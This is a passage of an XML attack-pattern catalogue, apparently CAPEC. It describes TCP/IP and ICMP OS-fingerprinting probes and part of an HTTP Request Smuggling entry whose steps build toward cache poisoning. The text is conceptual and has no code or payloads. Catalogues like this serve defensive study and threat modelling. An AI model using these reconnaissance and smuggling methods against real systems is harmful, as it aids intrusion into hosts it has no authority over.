										<Protocol_Field_Description>The not-ECT codepoint '00'
											indicates a packet that is not using
											ECN.</Protocol_Field_Description>
										<Protocol_Operation_Code>00</Protocol_Operation_Code>
									</Protocol_Header>
									<Protocol_Header ID="2" Name="IP Header">
										<Protocol_RFC>RFC 3168</Protocol_RFC>
										<Protocol_Field_Name>Explicit Congestion Notification (ECN)
											field. Bits 6 and 7 in the IPv4 TOS octet are designated
											as the ECN field.</Protocol_Field_Name>
										<Protocol_Field_Description>The ECT(1) bit. Binary flag '01'
											indicates a packet is using ECN(1)
											channel.</Protocol_Field_Description>
										<Protocol_Operation_Code>01</Protocol_Operation_Code>
									</Protocol_Header>
									<Protocol_Header ID="3" Name="IP Header">
										<Protocol_RFC>RFC 3168</Protocol_RFC>
										<Protocol_Field_Name>Explicit Congestion Notification (ECN)
											field. Bits 6 and 7 in the IPv4 TOS octet are designated
											as the ECN field.</Protocol_Field_Name>
										<Protocol_Field_Description>The ECT(0) bit. Binary flag '10'
											indicates a packet is using ECT(0)
											channel.</Protocol_Field_Description>
										<Protocol_Operation_Code>10</Protocol_Operation_Code>
									</Protocol_Header>
									<Protocol_Header ID="4" Name="IP Header">
										<Protocol_RFC>RFC 3168</Protocol_RFC>
										<Protocol_Field_Name>Explicit Congestion Notification (ECN)
											field. Bits 6 and 7 in the IPv4 TOS octet are designated
											as the ECN field.</Protocol_Field_Name>
										<Protocol_Field_Description>The CE codepoint '11' is set by
											a router to indicate congestion to the end
											nodes.</Protocol_Field_Description>
										<Protocol_Operation_Code>11</Protocol_Operation_Code>
									</Protocol_Header>
								</Protocol_Structure>
								<Related_Protocols>
									<Related_Protocol Name="Internet Protocol" RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
								</Related_Protocols>
							</Protocol>
							<Protocol ID="2" Name="TCP">
								<Protocol_Structure>
									<Protocol_Header ID="5" Name="TCP Header">
										<Protocol_RFC>RFC 3168</Protocol_RFC>
										<Protocol_Field_Name>Reserved Field</Protocol_Field_Name>
										<Protocol_Field_Description>ECN-Echo flag. The ECN-Echo flag
											is assigned to Bit 9 in the Reserved field of the TCP
											header.</Protocol_Field_Description>
										<Protocol_Operation_Code>ECE</Protocol_Operation_Code>
									</Protocol_Header>
									<Protocol_Header ID="6" Name="TCP Header">
										<Protocol_RFC>RFC 3168</Protocol_RFC>
										<Protocol_Field_Name>Reserved Field</Protocol_Field_Name>
										<Protocol_Field_Description>CWR Flag. The CWR flag is
											assigned to Bit 8 in the Reserved field of the TCP
											header.</Protocol_Field_Description>
										<Protocol_Operation_Code>CWR</Protocol_Operation_Code>
									</Protocol_Header>
								</Protocol_Structure>
								<Related_Protocols>
									<Related_Protocol Name="Transmission Control Protocol" RFC="793">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
								</Related_Protocols>
							</Protocol>
						</Target_Functional_Service>
					</Target_Functional_Services>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Typical_Severity>Low</Typical_Severity>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>315<!--TCP/IP Fingerprinting Probes--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure</Reference_Author>
					<Reference_Author>Joel Scambray</Reference_Author>
					<Reference_Author>George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 2: Scanning, pg. 56</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Defense Advanced Research Projects Agency
						(DARPA)</Reference_Author>
					<Reference_Title>RFC793 - Transmission Control Protocol</Reference_Title>
					<Reference_PubDate>1981</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc793.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>Nmap Network Scanning: The Official Nmap Project Guide to
						Network Discovery and Security Scanning</Reference_Title>
					<Reference_Section>Chapter 8. Remote OS Detection</Reference_Section>
					<Reference_Edition>3rd "Zero Day" Edition, </Reference_Edition>
					<Reference_Publisher>Insecure.com LLC,
						ISBN:978-0-9799587-1-7</Reference_Publisher>
					<Reference_PubDate>2008</Reference_PubDate>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="326" Name="TCP Initial Window Size Probe" Pattern_Abstraction="Detailed"
			Status="Draft">
			<Description>
				<Summary>
					<Text>This OS fingerprinting probe checks the initial TCP Window size. TCP
						stacks limit the range of sequence numbers allowable within a session to
						maintain the "connected" state within TCP protocol logic. The initial window
						size specifies a range of acceptable sequence numbers that will qualify as a
						response to an ACK packet within a session. Various operating systems use
						different Initial window sizes. The initial window size can be sampled by
						establishing an ordinary TCP connection. </Text>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Transport Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
					<Target_Functional_Services>
						<Target_Functional_Service ID="1" Name="None">
							<Protocol ID="1" Name="TCP" RFC="793">
								<Protocol_Structure>
									<Protocol_Header ID="1" Name="TCP Header">
										<Protocol_Field_Name>Window</Protocol_Field_Name>
										<Protocol_Field_Description>The 16 bit window indicates an
											allowed number of octets that the sender may transmit
											before receiving further permission. </Protocol_Field_Description>
										<Protocol_Operation_Code>ACK</Protocol_Operation_Code>
										<Protocol_Data/>
									</Protocol_Header>
									<Protocol_Header ID="2" Name="TCP Header">
										<Protocol_Field_Name>Acknowledgement
											Number</Protocol_Field_Name>
										<Protocol_Field_Description>If the ACK control bit is set
											this field contains the value of the next sequence
											number the sender of the segment is expecting to
											receive. Once a connection is established this is always
											sent. </Protocol_Field_Description>
										<Protocol_Operation_Code>ACK</Protocol_Operation_Code>
										<Protocol_Data/>
									</Protocol_Header>
								</Protocol_Structure>
								<Related_Protocols>
									<Related_Protocol Name="Internet Protocol" RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
								</Related_Protocols>
							</Protocol>
						</Target_Functional_Service>
					</Target_Functional_Services>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Typical_Severity>Low</Typical_Severity>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>315<!--TCP/IP Fingerprinting Probes--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure</Reference_Author>
					<Reference_Author>Joel Scambray</Reference_Author>
					<Reference_Author>George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 2: Scanning, pg. 56</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Defense Advanced Research Projects Agency
						(DARPA)</Reference_Author>
					<Reference_Title>RFC793 - Transmission Control Protocol</Reference_Title>
					<Reference_PubDate>1981</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc793.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>Nmap Network Scanning: The Official Nmap Project Guide to
						Network Discovery and Security Scanning</Reference_Title>
					<Reference_Section>Chapter 8. Remote OS Detection</Reference_Section>
					<Reference_Edition>3rd "Zero Day" Edition, </Reference_Edition>
					<Reference_Publisher>Insecure.com LLC,
						ISBN:978-0-9799587-1-7</Reference_Publisher>
					<Reference_PubDate>2008</Reference_PubDate>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="327" Name="TCP Options Probe" Pattern_Abstraction="Detailed"
			Status="Draft">
			<Description>
				<Summary>
					<Text>This OS fingerprinting probe analyzes the type and order of any TCP header
						options present within a response segment. Most operating systems use unique
						ordering and different option sets when options are present. RFC 793 does
						not specify a required order when options are present, so different
						implementations use unique ways of ordering or structuring TCP options. TCP
						options can be generated by ordinary TCP traffic. </Text>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Transport Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
					<Target_Functional_Services>
						<Target_Functional_Service ID="1" Name="None">
							<Protocol ID="1" Name="TCP" RFC="793">
								<Protocol_Structure>
									<Protocol_Header ID="1" Name="TCP Header">
										<Protocol_Field_Name>Options Field</Protocol_Field_Name>
										<Protocol_Field_Description>The Options Field allows a TCP
											segment to specify specific requirements for its routing
											or may contain information such as a timestamp. Options
											may occupy space at the end of the TCP header and are a
											multiple of 8 bits in length. All options are included
											in the checksum.</Protocol_Field_Description>
									</Protocol_Header>
								</Protocol_Structure>
								<Related_Protocols>
									<Related_Protocol Name="Internet Protocol" RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
								</Related_Protocols>
							</Protocol>
						</Target_Functional_Service>
					</Target_Functional_Services>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Typical_Severity>Low</Typical_Severity>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>315<!--TCP/IP Fingerprinting Probes--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure, Joel Scambray, George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 2: Scanning, pg. 56</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Defense Advanced Research Projects Agency
						(DARPA)</Reference_Author>
					<Reference_Title>RFC793 - Transmission Control Protocol</Reference_Title>
					<Reference_PubDate>1981</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc793.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>Nmap Network Scanning: The Official Nmap Project Guide to
						Network Discovery and Security Scanning</Reference_Title>
					<Reference_Section>Chapter 8. Remote OS Detection</Reference_Section>
					<Reference_Edition>3rd "Zero Day" Edition, </Reference_Edition>
					<Reference_Publisher>Insecure.com LLC,
						ISBN:978-0-9799587-1-7</Reference_Publisher>
					<Reference_PubDate>2008</Reference_PubDate>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="328" Name="TCP 'RST' Flag Checksum Probe" Pattern_Abstraction="Detailed"
			Status="Draft">
			<Description>
				<Summary>
					<Text>This OS fingerprinting probe performs a checksum on any ASCII data
						contained within the data portion or a RST packet. Some operating systems
						will report a human-readable text message in the payload of a 'RST' (reset)
						packet when specific types of connection errors occur. RFC 1122 allows text
						payloads within reset packets but not all operating systems or routers
						implement this functionality. </Text>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Transport Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
					<Target_Functional_Services>
						<Target_Functional_Service ID="1" Name="None">
							<Protocol ID="1" Name="TCP" RFC="793">
								<Protocol_Structure>
									<Protocol_Header ID="1" Name="TCP Header">
										<Protocol_RFC>1122</Protocol_RFC>
										<Protocol_Field_Name>Data</Protocol_Field_Name>
										<Protocol_Data>"A TCP SHOULD allow a received RST segment to
											include data. It has been suggested that a RST segment
											could contain ASCII text that encoded and explained the
											cause of the RST. No standard has yet been established
											for such data" data </Protocol_Data>
									</Protocol_Header>
								</Protocol_Structure>
								<Related_Protocols>
									<Related_Protocol Name="Internet Protocol" RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
								</Related_Protocols>
							</Protocol>
						</Target_Functional_Service>
					</Target_Functional_Services>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Typical_Severity>Low</Typical_Severity>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>315<!--TCP/IP Fingerprinting Probes--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure</Reference_Author>
					<Reference_Author>Joel Scambray</Reference_Author>
					<Reference_Author>George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 2: Scanning, pg. 56</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Defense Advanced Research Projects Agency
						(DARPA)</Reference_Author>
					<Reference_Title>RFC793 - Transmission Control Protocol</Reference_Title>
					<Reference_PubDate>1981</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc793.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>Nmap Network Scanning: The Official Nmap Project Guide to
						Network Discovery and Security Scanning</Reference_Title>
					<Reference_Section>Chapter 8. Remote OS Detection</Reference_Section>
					<Reference_Edition>3rd "Zero Day" Edition, </Reference_Edition>
					<Reference_Publisher>Insecure.com LLC,
						ISBN:978-0-9799587-1-7</Reference_Publisher>
					<Reference_PubDate>2008</Reference_PubDate>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="329" Name="ICMP Error Message Quoting Probe"
			Pattern_Abstraction="Detailed" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker uses a technique to generate an ICMP Error message (Port
						Unreachable, Destination Unreachable, Redirect, Source Quench, Time
						Exceeded, Parameter Problem) from a target and then analyze the amount of
						data returned or "Quoted" from the originating request that generated the
						ICMP error message. For this purpose "Port Unreachable" error messages are
						often used, as generating them requires the attacker to send a UDP datagram
						to a closed port on the target. The goal of this analysis to make inferences
						about the type of operating system or firmware that sent the error message
						in reply. This is useful for identifying unique characteristics of operating
						systems because the RFC-1122 expected behavior reads: "Every ICMP error
						message includes the Internet header and at least the first 8 data octets of
						the datagram that triggered the error; more than 8 octets MAY be sent
						[...]." This contrasts with RFC-792 expected behavior, which limited the
						quoted text to 64 bits (8 octets). Given the latitude in the specification
						the resulting RFC-1122 stack implementations often respond with a high
						degree of variability in the amount of data quoted in the error message
						because "older" or "legacy" stacks may comply with the RFC-792
						specification, while other stacks may choose a longer format in accordance
						with RFC-1122. As a general rule most operating systems or firmware will
						quote the first 8 bytes of the datagram triggering the error, but some IP
						stacks will quote more than the first 8 bytes of data.</Text>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Network Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
					<Target_Functional_Services>
						<Target_Functional_Service ID="1" Name="None">
							<Protocol ID="1" Name="ICMP">
								<Protocol_Structure>
									<Protocol_Header ID="1">
										<Protocol_RFC>RFC 792</Protocol_RFC>
										<Protocol_Field_Name>Type</Protocol_Field_Name>
										<Protocol_Field_Description>The ICMP Type Field determines
											the function of the ICMP query. A Type 8 message directs
											the target to reply to the sender of the echo request
											message with an echo reply message. In forming an echo
											reply the source and destination addresses are switched,
											the Type field is set to '0', any data contained in the
											data portion of the echo request is sent "echoed" back
											to the host, and the checksum is recalculated. </Protocol_Field_Description>
										<Protocol_Operation_Code>8</Protocol_Operation_Code>
										<Protocol_Data>ICMP echo requests may contain arbitrary data
											as a payload. When the ICMP Type is 8 (echo request),
											the data received in the echo message must be returned
											in the echo reply message. </Protocol_Data>
									</Protocol_Header>
								</Protocol_Structure>
								<Related_Protocols>
									<Related_Protocol Name="Internet Protocol" RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
								</Related_Protocols>
							</Protocol>
						</Target_Functional_Service>
					</Target_Functional_Services>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The ability to send a UDP datagram to a closed port and recieve an ICMP
						Error Message Type 3, "Port Unreachable"</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>316<!--ICMP Fingerprinting Probes--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure, Joel Scambray, George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 2: Scanning, pg. 56</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Defense Advanced Research Projects Agency
						(DARPA)</Reference_Author>
					<Reference_Title>RFC792 - Internet Control Messaging Protocol</Reference_Title>
					<Reference_PubDate>1981</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc792.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Defense Advanced Research Projects Agency
						(DARPA)</Reference_Author>
					<Reference_Title>RFC1122 - Requirements for Internet Hosts - Communication
						Layers</Reference_Title>
					<Reference_PubDate>1981</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc1122.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Ofir Arkin, et.al</Reference_Author>
					<Reference_Title>A Remote Active OS Fingerprinting Tool using
						ICMP</Reference_Title>
					<Reference_PubDate>2008</Reference_PubDate>
					<Reference_Link>http://ofirarkin.files.wordpress.com/2008/11/login.pdf</Reference_Link>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="33" Name="HTTP Request Smuggling" Pattern_Abstraction="Detailed"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>HTTP Request Smuggling results from the discrepancies in parsing HTTP
						requests between HTTP entities such as web caching proxies or application
						firewalls. Entities such as web servers, web caching proxies, application
						firewalls or simple proxies often parse HTTP requests in slightly different
						ways. Under specific situations where there are two or more such entities in
						the path of the HTTP request, a specially crafted request is seen by two
						attacked entities as two different sets of requests. This allows certain
						requests to be smuggled through to a second entity without the first one
						realizing it.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Identify HTTP parsing
											chain</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Determine the technologies used in the target
												environment such as types of web servers,
												application firewalls, proxies, etc.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Investigation of the target environment to
												determine the types of technologies used to parse
												the incoming HTTP requests. Attempt to understand
												the parsing chain traversed by the incoming HTTP
												request.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Full HTTP parsing chain for the
												application has been
												identified</Outcome_Description>
											</Outcome>
										</Outcomes>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Probe for vulnerable differences in HTTP
											parsing chain</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Attacker sends malformed HTTP Requests to the
												application looking for differences in the ways that
												individual layers in the parsing chain parse
												requests. When differences are identified, the
												attacker crafts specially malformed HTTP requests to
												determine if the identified parsing differences will
												allow extra requests to be smuggled through parsing
												layers.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Create many consecutive requests to the
												server. Some of which must be malformed.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Use a proxy tool to record the HTTP
												responses headers.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>At some point, the server is waiting for
												more request information to send the last
												response.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Inconclusive">
												<Indicator_Description>
												<Text>No response is being received.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="3" type="Negative">
												<Indicator_Description>
												<Text>Malformed HTTP requests are being totally
												ignored.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="4" type="Negative">
												<Indicator_Description>
												<Text>Responses are being sent even if the HTTP
												header is incomplete.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>One layer in the application's
												HTTP parsing chain processes HTTP Requests that
												other layers do not. The server smuggles the user
												request into the last attacker's request and
												transport data such as cookie,
												etc.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>The server replies with an
												error to the last attacker's
												request.</Outcome_Description>
											</Outcome>
											<Outcome ID="3" type="Inconclusive">
												<Outcome_Description>No response for the last
												incomplete request from the attacker by the
												server</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor requests to
												the server that seem
												malformed.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="3" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Cache poisoning</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker decides to target the cache server.
												The server will then cache the request and serve a
												wrong page to a legitimate user's request. The
												malicious request will most likely exploit a
												Cross-Site Scripting or another injection typed
												vulnerability.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Leverage the vulnerabilities identified in
												the Experiment Phase to inject malicious HTTP
												request that contains HTTP Request syntax that
												will be processed and acted on by the outer
												parsing layer of the cache server but not by the
												inner application layer. In this way it will be
												cached by the server without obvious sign from the
												application and the corrupt data will be served to
												future requesters.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
